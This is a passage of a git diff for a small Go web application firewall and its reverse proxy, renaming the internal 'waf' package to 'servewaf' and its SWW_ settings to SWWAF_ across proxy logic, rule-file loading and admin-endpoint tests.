http.Error(w, "refused", http.StatusBadRequest)
})
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
if got := get(t, addr, "/"); got.status != http.StatusBadRequest {
t.Errorf("answered %+v, want waf's 400", got)
t.Errorf("answered %+v, want servewaf's 400", got)
}
if line := out.requestLine(t); line["disposition"] != nil {
@@ -1009,7 +997,7 @@ func TestAnAnswerWithoutAValidDispositionGetsNoReport(t *testing.T) {
func TestAnAnswerWithoutAContentTypeGoesToTheVisitorWithNone(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header()["Content-Type"] = nil
w.WriteHeader(http.StatusInternalServerError)
_, _ = io.WriteString(w, "<html>broken")
@@ -1027,25 +1015,23 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
const size = 1 << 20
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusInternalServerError)
_, _ = w.Write(make([]byte, size))
})
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
timeoutSetting: "60000",
})
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
got := get(t, addr, "/")
if got.status != http.StatusInternalServerError || len(got.body) != size {
t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
t.Errorf("answered %d with %d bytes, want servewaf's 500 with %d",
got.status, len(got.body), size)
}
}
// startWAFWriting starts a stand-in for waf that reads
// each question and answers it with text, as it is, and returns its URL. It
// can send what Go's server would not.
func startWAFWriting(t *testing.T, text string) string {
// startServeWAFWriting starts a stand-in for servewaf that reads each question and
// answers it with text, as it is, and returns its URL. It can send what Go's
// server would not.
func startServeWAFWriting(t *testing.T, text string) string {
t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
@@ -1115,7 +1101,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
"a status below 100": func(t *testing.T) string {
t.Helper()
return startWAFWriting(t, "HTTP/1.1 099 Odd\r\nContent-Length: 0\r\n\r\n")
return startServeWAFWriting(t, "HTTP/1.1 099 Odd\r\nContent-Length: 0\r\n\r\n")
},
"a 101 that holds its connection open": answeringWith(switchAndHold),
} {
@@ -1127,7 +1113,6 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
t.Error("the app was asked")
})
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
timeoutSetting: "60000",
defaultDisposition: setting,
})
@@ -1141,7 +1126,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
t.Errorf("line %v, want status 502 and no disposition", line)
}
out.waitFor(t, "waf's answer is dropped")
out.waitFor(t, "servewaf's answer is dropped")
})
}
}
@@ -1150,10 +1135,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
t.Parallel()
standIn := startWAF(t, overOneMiB(dispositionDeny))
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
timeoutSetting: "60000",
})
standIn := startServeWAF(t, overOneMiB(dispositionDeny))
addr, out := startRProxy(t, standIn.URL, nowhere, nil)
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
t.Errorf("answered %+v, want 502", got)
@@ -1209,14 +1192,14 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
}
}
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
func TestAVisitorThatGoesAwayWhileServeWAFIsAskedGetsNoDefault(t *testing.T) {
t.Parallel()
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
t.Run("with the default "+disposition, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
standIn := startServeWAF(t, func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
})
app := startApp(t, func(http.ResponseWriter, *http.Request) {
@@ -1239,8 +1222,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
t.Errorf("line %v, want status 0 and no disposition", line)
}
if out.has("waf gave no answer") {
t.Error("rproxy warned that waf gave no answer")
if out.has("servewaf gave no answer") {
t.Error("rproxy warned that servewaf gave no answer")
}
standIn.wantNoReport(t)
@@ -1255,13 +1238,13 @@ func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
addr, out := startRProxy(t, nowhere, app.URL, nil)
wantGreeting(t, get(t, addr, "/"))
out.waitFor(t, "waf gave no answer")
out.waitFor(t, "servewaf gave no answer")
}
func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
standIn := startServeWAF(t, func(_ http.ResponseWriter, r *http.Request) {
<-r.Context().Done()
})
app := startApp(t, greet)
@@ -1282,35 +1265,35 @@ func TestAPathUnderOwnPrefixNeverReachesTheApp(t *testing.T) {
})
addr, _ := startRProxy(t, nowhere, app.URL, nil)
got := get(t, addr, "/_sww/metrics")
got := get(t, addr, "/_smallwebwaf/metrics")
if got.status != http.StatusNotFound {
t.Errorf("answered %+v, want 404", got)
}
}
func TestHealthCheckIsAnsweredWhileWAFIsDown(t *testing.T) {
func TestHealthCheckIsAnsweredWhileServeWAFIsDown(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, nowhere, app.URL, nil)
got := get(t, addr, waf.HealthPath)
got := get(t, addr, servewaf.HealthPath)
if got.status != http.StatusOK || got.body != "ok\n" {
t.Errorf("answered %+v, want ok", got)
}
line := out.requestLine(t)
if line["path"] != waf.HealthPath || line["disposition"] != nil {
if line["path"] != servewaf.HealthPath || line["disposition"] != nil {
t.Errorf("line %v, want one with no disposition", line)
}
// With waf up too, it is not asked.
// With servewaf up too, it is not asked.
addr, _ = startRProxy(t, standIn.URL, app.URL, nil)
get(t, addr, waf.HealthPath)
get(t, addr, servewaf.HealthPath)
if len(standIn.questions) != 0 {
t.Error("waf was asked about the health check")
t.Error("servewaf was asked about the health check")
}
}
@@ -1318,7 +1301,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
t.Parallel()
release := make(chan struct{})
backend := startWAFAnsweringReports(t, deny,
backend := startServeWAFAnsweringReports(t, deny,
func(w http.ResponseWriter, r *http.Request) {
select {
case <-release:
@@ -1353,16 +1336,16 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
_ = res.Body.Close()
if res.StatusCode != http.StatusForbidden {
t.Errorf("status %d, want waf's 403", res.StatusCode)
t.Errorf("status %d, want servewaf's 403", res.StatusCode)
}
}
}
func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
func TestAReportServeWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
t.Parallel()
release := make(chan struct{})
backend := startWAFAnsweringReports(t, allow,
backend := startServeWAFAnsweringReports(t, allow,
func(w http.ResponseWriter, _ *http.Request) {
<-release
@@ -1382,10 +1365,10 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
out.waitFor(t, "a report is dropped")
}
func TestAReportWAFRefusesIsDroppedWithAWarning(t *testing.T) {
func TestAReportServeWAFRefusesIsDroppedWithAWarning(t *testing.T) {
t.Parallel()
backend := startWAFAnsweringReports(t, allow,
backend := startServeWAFAnsweringReports(t, allow,
func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusBadRequest)
})
@@ -1400,7 +1383,7 @@ func TestAReportWAFRefusesIsDroppedWithAWarning(t *testing.T) {
func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
t.Parallel()
backend := startWAFAnsweringReports(t, allow, switchAndHold)
backend := startServeWAFAnsweringReports(t, allow, switchAndHold)
app := startApp(t, greet)
addr, out := startRProxy(t, backend, app.URL, map[string]string{
timeoutSetting: "60000",
@@ -1413,7 +1396,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
func TestAReportDueAfterWaitForReportsIsDropped(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out, server := startServer(t, standIn.URL, app.URL, nil)
@@ -1429,7 +1412,7 @@ func TestReportGivesWhatHappened(t *testing.T) {
const body = "the visitor's body"
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
@@ -1441,8 +1424,8 @@ func TestReportGivesWhatHappened(t *testing.T) {
if report.RequestID == "" || report.Status != http.StatusOK ||
report.RequestBytes != int64(len(body)) ||
report.ResponseBytes != int64(len(greeting)) ||
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
report.DurationUpstreamTotalMS > report.DurationTotalMS {
report.DurationTotal <= 0 || report.DurationUpstreamTotal <= 0 ||
report.DurationUpstreamTotal > report.DurationTotal {
t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
}
@@ -1459,7 +1442,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
release := make(chan struct{})
backend := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get(waf.ClientHeader) != "" {
if r.Header.Get(servewaf.ClientHeader) != "" {
allow(w, r)
return
@@ -1514,7 +1497,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, echoAfterUpgrade)
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "2000",
@@ -1569,7 +1552,7 @@ func TestAWebSocketPassesOnThatTheVisitorStoppedSending(t *testing.T) {
const goodbye = "sent after the visitor stopped sending\n"
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
conn, buffered, err := http.NewResponseController(w).Hijack()
if err != nil {
@@ -1627,7 +1610,7 @@ func TestAWebSocketPassesOnThatTheVisitorStoppedSending(t *testing.T) {
//nolint:paralleltest // see above
func TestASwitchNotPassedOnClosesTheAppsConnection(t *testing.T) {
closed := make(chan error, 1)
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
conn, buffered, err := http.NewResponseController(w).Hijack()
if err != nil {
@@ -1698,7 +1681,7 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
const fromTraefik = "an-id-from-traefik"
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32",
@@ -1728,7 +1711,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
body = "the visitor's body"
)
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
@@ -1761,7 +1744,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
}
for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
for _, name := range []string{"duration_request", "duration_response"} {
duration, ok := line[name].(float64)
if !ok || duration <= 0 {
t.Errorf("%s is %v, want a time", name, line[name])
@@ -11,15 +11,15 @@ import (
"net/http"
"strings"
"sneak.berlin/go/smallwebwaf/internal/waf"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
)
// answerBodyMaxBytes is the most of the body of waf's answer that is read.
// answerBodyMaxBytes is the most of the body of servewaf's answer that is read.
// It is far above any answer's.
const answerBodyMaxBytes = 1 << 20
// reportAnswerMaxBytes is the most of the answer to a report that is read,
// which has no body when waf takes the report.
// which has no body when servewaf takes the report.
const reportAnswerMaxBytes = 4 << 10
var (
@@ -27,22 +27,21 @@ var (
errReportRefused = errors.New("the report was answered")
)
// wafAnswer is what waf answered to a question.
type wafAnswer struct {
// servewafAnswer is what servewaf answered to a question.
type servewafAnswer struct {
status int
header http.Header
body []byte
}
// noteAnswer notes what waf answered. An answer without a valid disposition
// notes nothing, and no report is due for it: waf holds no decision to report
// noteAnswer notes what servewaf answered. An answer without a valid disposition
// notes nothing, and no report is due for it: servewaf holds no decision to report
// on.
func (rq *request) noteAnswer(answer *wafAnswer) {
disposition := answer.header.Get(waf.DispositionHeader)
func (rq *request) noteAnswer(answer *servewafAnswer) {
disposition := answer.header.Get(servewaf.DispositionHeader)
switch disposition {
case waf.DispositionAllow, waf.DispositionDeny,
waf.DispositionClose:
case servewaf.DispositionAllow, servewaf.DispositionDeny, servewaf.DispositionClose:
rq.disposition = disposition
rq.answered = true
rq.asn = answer.header.Get(asnHeader)
@@ -55,27 +54,27 @@ func (rq *request) noteAnswer(answer *wafAnswer) {
func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
switch {
case ctx.Err() != nil:
// The visitor went away while waf was being asked. waf has not
// The visitor went away while servewaf was being asked. servewaf has not
// failed, and nothing is noted. This panic has Go's server close the
// connection without an answer, and log nothing; the deferred finish still
// runs.
panic(http.ErrAbortHandler)
case errors.Is(err, errCannotPassOn):
rq.h.processLog.Warn("waf's answer is dropped", "error", err.Error())
rq.h.processLog.Warn("servewaf's answer is dropped", "error", err.Error())
rq.answer(http.StatusBadGateway)
default:
// waf cannot be connected to, does not answer at all, or does not answer
// within SWRP_TIMEOUT_MS. A request that keeps waf busy past
// SWRP_TIMEOUT_MS, like any request while waf is overloaded, gets
// servewaf cannot be connected to, does not answer at all, or does not answer
// within SWRP_TIMEOUT_MS. A request that keeps servewaf busy past
// SWRP_TIMEOUT_MS, like any request while servewaf is overloaded, gets
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
// whenever waf is slow. Making such requests hard to send is
// whenever servewaf is slow. Making such requests hard to send is
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
rq.h.processLog.Warn("servewaf gave no answer", "error", err.Error())
rq.disposition = rq.h.config.DefaultDisposition
rq.byDefault = true
if rq.disposition == waf.DispositionAllow {
if rq.disposition == servewaf.DispositionAllow {
rq.passToApp(ctx)
} else {
rq.answer(http.StatusServiceUnavailable)
@@ -83,10 +82,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
}
}
// ask sends waf the question, and returns its answer, which must have come
// ask sends servewaf the question, and returns its answer, which must have come
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
// away.
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
func (rq *request) ask(ctx context.Context) (*servewafAnswer, error) {
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
defer cancel()
@@ -95,7 +94,7 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
return nil, err
}
res, err := rq.h.wafTransport.RoundTrip(question)
res, err := rq.h.serveWAFTransport.RoundTrip(question)
if err != nil {
return nil, fmt.Errorf("send the question: %w", err)
}
@@ -120,17 +119,17 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
return nil, fmt.Errorf("%w: its body is over 1 MiB", errCannotPassOn)
}
return &wafAnswer{res.StatusCode, res.Header, body}, nil
return &servewafAnswer{res.StatusCode, res.Header, body}, nil
}
// canBeAsked reports whether Go's client can send waf r as the visitor sent
// canBeAsked reports whether Go's client can send servewaf r as the visitor sent
// it. It cannot send these as they came:
// - a target that does not start with /, or that starts with //;
// - an empty Host, for which it sends waf's own address;
// - an empty Host, for which it sends servewaf's own address;
// - a Host holding an IPv6 zone, which it removes;
// - more than one User-Agent, of which it sends the first;
// - an empty User-Agent, which it leaves out, the one case that still goes to
// waf.
// servewaf.
func canBeAsked(r *http.Request) bool {
target, host := r.RequestURI, r.Host
hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
@@ -170,13 +169,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
question.TransferEncoding = in.TransferEncoding
question.Header = in.Header.Clone()
question.Header.Set(waf.ClientHeader, rq.client.String())
question.Header.Set(waf.PeerHeader, rq.peer.String())
question.Header.Del(waf.ContentLengthHeader)
question.Header.Set(servewaf.ClientHeader, rq.client.String())
question.Header.Set(servewaf.PeerHeader, rq.peer.String())
question.Header.Del(servewaf.ContentLengthHeader)
announced := in.Header.Get("Content-Length")
if announced != "" {
question.Header.Set(waf.ContentLengthHeader, announced)
question.Header.Set(servewaf.ContentLengthHeader, announced)
}
question.Header.Set(requestIDHeader, rq.id)
@@ -191,13 +190,13 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
return question, nil
}
// answerWith gives the visitor waf's answer, less its disposition.
func (rq *request) answerWith(answer *wafAnswer) {
// answerWith gives the visitor servewaf's answer, less its disposition.
func (rq *request) answerWith(answer *servewafAnswer) {
rq.prepareOwnAnswer(rq.requestDeadline())
header := rq.out.Header()
maps.Copy(header, answer.header)
header.Del(waf.DispositionHeader)
header.Del(servewaf.DispositionHeader)
// Go's server adds a Content-Type it guesses from the body to a response whose
// headers have no Content-Type key. The key with no value sends none.
@@ -208,10 +207,10 @@ func (rq *request) answerWith(answer *wafAnswer) {
rq.send(answer.status, answer.body)
}
// sendReport sends waf report on a goroutine of its own, so that the
// sendReport sends servewaf report on a goroutine of its own, so that the
// visitor does not wait for it. The report goes on after ctx, the request's own
// context, has ended.
func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
func (h *handler) sendReport(ctx context.Context, report *servewaf.Report) {
h.reportsMu.Lock()
defer h.reportsMu.Unlock()
@@ -227,9 +226,9 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
})
}
// postReport posts report to waf, and waits for its answer for up to
// postReport posts report to servewaf, and waits for its answer for up to
// SWRP_TIMEOUT_MS.
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
func (h *handler) postReport(ctx context.Context, report *servewaf.Report) error {
body, err := json.Marshal(report)
if err != nil {
return fmt.Errorf("encode the report: %w", err)
@@ -246,7 +245,7 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
req.Header.Set("Content-Type", "application/json")
res, err := h.wafTransport.RoundTrip(req)
res, err := h.serveWAFTransport.RoundTrip(req)
if err != nil {
return fmt.Errorf("send the report: %w", err)
}
+8 -8
View File
@@ -1,5 +1,5 @@
// Package rules reads the rule files: the plain text files in
// SWW_RULES_DIR, one rule to a line, that each request is checked
// SWWAF_RULES_DIR, one rule to a line, that each request is checked
// against, as the "Rule files" section of SPEC.md describes. They are read
// at start, and again once the directory has had no change for a short
// time after one is edited, added or removed.
@@ -40,7 +40,7 @@ const (
// extension ends the name of every rule file.
const extension = ".rules"
// quietTime is how long SWW_RULES_DIR must go without a change before
// quietTime is how long SWWAF_RULES_DIR must go without a change before
// the rule files are read again, so that a file still being written, such
// as one saved in place, appended to or copied in with scp, is read only
// once whole.
@@ -100,19 +100,19 @@ type Rule struct {
// Params are what Load needs.
type Params struct {
// Dir is the directory of the rule files (SWW_RULES_DIR).
// Dir is the directory of the rule files (SWWAF_RULES_DIR).
Dir string
// Enabled is SWW_RULES_ENABLED: while it is false, no file is read
// Enabled is SWWAF_RULES_ENABLED: while it is false, no file is read
// and no rule loaded.
Enabled bool
// ProcessLog receives how many rules were read, and the error in a
// rule file edited while sww runs.
// rule file edited while smallwebwaf runs.
ProcessLog *slog.Logger
// Alerts receive a file_error alert for that error.
Alerts *alerts.Queue
}
// Files are the rule files of a running sww, and the rules read
// Files are the rule files of a running smallwebwaf, and the rules read
// from them. They are safe for concurrent use.
type Files struct {
params Params
@@ -271,7 +271,7 @@ func (f *Files) logRead(count int) {
func read(dir string) ([]Rule, string, error) {
entries, err := os.ReadDir(dir)
if err != nil {
return nil, dir, fmt.Errorf("SWW_RULES_DIR cannot be read: %w", err)
return nil, dir, fmt.Errorf("SWWAF_RULES_DIR cannot be read: %w", err)
}
var rules []Rule
@@ -299,7 +299,7 @@ func read(dir string) ([]Rule, string, error) {
// readFile appends the rules of the rule file at path to rules. places
// are where each id read so far is, and gain those of the file.
func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWWAF_RULES_DIR
if err != nil {
return nil, err
}
+3 -3
View File
@@ -298,7 +298,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
dir := filepath.Join(t.TempDir(), "rules.d")
wantRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+
wantRefused(t, dir, "SWWAF_RULES_DIR cannot be read: open "+dir+
": no such file or directory")
}
@@ -321,7 +321,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
func TestRuleFilesOffReadNothing(t *testing.T) {
t.Parallel()
// SWW_RULES_DIR does not exist, which would stop the start.
// SWWAF_RULES_DIR does not exist, which would stop the start.
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
params.Enabled = false
@@ -601,7 +601,7 @@ func wantRefused(t *testing.T, dir, want string) {
}
// get returns a GET request for target, a path and an optional query, as
// sww's server reads it, without a user agent.
// smallwebwaf's server reads it, without a user agent.
func get(t *testing.T, target string) *http.Request {
t.Helper()
@@ -1,4 +1,4 @@
package waf
package servewaf
import (
"bytes"
@@ -42,20 +42,20 @@ var (
// answerHealth answers a request for the health endpoint.
func (rq *request) answerHealth() {
rq.line.Action = requestlog.ActionOwnEndpoint
rq.line.Action = requestlog.ActionAdmin
// Set here rather than left to Go's server, which would set it only
// after the log line has taken the response's headers.
rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
_, _ = io.WriteString(rq.out, "ok\n")
}
// answerAdmin answers a request for one of waf's own endpoints. Each
// answerAdmin answers a request for one of servewaf's own endpoints. Each
// needs a token, sent as Authorization: Bearer <token>: the metrics
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without it is
// refused with 401. An endpoint whose token is unset answers 404, as any other
// path does.
func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionOwnEndpoint
rq.line.Action = requestlog.ActionAdmin
token, answer := rq.endpoint()
@@ -250,7 +250,7 @@ type clientAnswer struct {
Bans []state.BanEntry `json:"bans"`
}
// showClient answers GET ClientsPath<ip> with what waf knows of the client:
// showClient answers GET ClientsPath<ip> with what servewaf knows of the client:
// its counters, its history, which holds its country as last looked up and its
// offences, and its bans with their notes.
func (rq *request) showClient() {
@@ -1,4 +1,4 @@
package waf_test
package servewaf_test
import (
"encoding/json"
@@ -12,13 +12,13 @@ import (
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
"sneak.berlin/go/smallwebwaf/internal/state"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
const (
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWWAF_ADMIN_TOKEN the tests set, and adminBearer
// how a request carries it.
adminSecret = "fedcba9876543210fedcba9876543210"
adminBearer = "Bearer " + adminSecret
@@ -40,7 +40,7 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
// An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() {
s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
s.adminRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
}
}
@@ -67,7 +67,7 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} {
got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
got := s.adminRequest(authorization, e.method, e.path, e.body,
http.StatusUnauthorized)
if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
@@ -86,13 +86,13 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
}
}
// Any other request under /_sww/ is not found.
// Any other request under /_smallwebwaf/ is not found.
for _, e := range []adminEndpoint{
{http.MethodPut, waf.BansPath, banOtherClient},
{http.MethodDelete, waf.BansPath, ""},
{http.MethodGet, waf.BansPath + "/" + otherClient, ""},
{http.MethodPost, waf.ClientsPath + otherClient, ""},
{http.MethodGet, strings.TrimSuffix(waf.ClientsPath, "/"), ""},
{http.MethodPut, servewaf.BansPath, banOtherClient},
{http.MethodDelete, servewaf.BansPath, ""},
{http.MethodGet, servewaf.BansPath + "/" + otherClient, ""},
{http.MethodPost, servewaf.ClientsPath + otherClient, ""},
{http.MethodGet, strings.TrimSuffix(servewaf.ClientsPath, "/"), ""},
} {
s.admin(e.method, e.path, e.body, http.StatusNotFound)
}
@@ -118,10 +118,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
Reason: "probes for logins",
}
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
http.StatusOK), want)
wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, banOtherClient, http.StatusOK),
want)
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
line := s.get(client, http.StatusForbidden, requestlog.ActionBanned)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
}
@@ -129,7 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
// Its notes count the request it refused.
want.Notes.Requests, want.Notes.Refused = 1, 1
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want)
// Ten minutes on, lifting the bans on client lifts that one, which is
// kept, marked lifted.
@@ -138,13 +138,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
lifted := clk.Now()
want.Lifted = &lifted
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
wantBans(t, s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "",
http.StatusOK), want)
s.get(client, http.StatusOK, requestlog.ActionForward)
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want)
// No ban on it is active any more.
s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "", http.StatusNotFound)
}
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -181,8 +181,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
want.Expires = &expires
}
wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
want)
wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, body, http.StatusOK), want)
}
}
@@ -251,8 +250,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
"request body too large",
},
} {
got := s.admin(http.MethodPost, waf.BansPath, tc.body,
http.StatusBadRequest)
got := s.admin(http.MethodPost, servewaf.BansPath, tc.body, http.StatusBadRequest)
if !strings.Contains(string(got.body), tc.want) {
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
}
@@ -276,7 +274,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// limit of two a minute, and bans it.
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited)
// Asked about by its address in IPv6 form too.
for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -285,8 +283,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
Bans []state.BanEntry `json:"bans"`
}
decode(t, s.admin(http.MethodGet, waf.ClientsPath+addr, "",
http.StatusOK), &got)
decode(t, s.admin(http.MethodGet, servewaf.ClientsPath+addr, "", http.StatusOK), &got)
if got.Client == nil {
t.Fatalf("%s: no client", addr)
@@ -308,15 +305,13 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// Of an address no request came from and no ban covers, nothing is
// known.
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
http.StatusOK)
got := s.admin(http.MethodGet, servewaf.ClientsPath+"198.51.100.99", "", http.StatusOK)
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
t.Errorf("an unknown client is answered\n%s", got.body)
}
s.admin(http.MethodGet, waf.ClientsPath+"203.0.113", "",
http.StatusBadRequest)
s.admin(http.MethodDelete, waf.BansPath+"/203.0.113.0/24", "",
s.admin(http.MethodGet, servewaf.ClientsPath+"203.0.113", "", http.StatusBadRequest)
s.admin(http.MethodDelete, servewaf.BansPath+"/203.0.113.0/24", "",
http.StatusBadRequest)
}
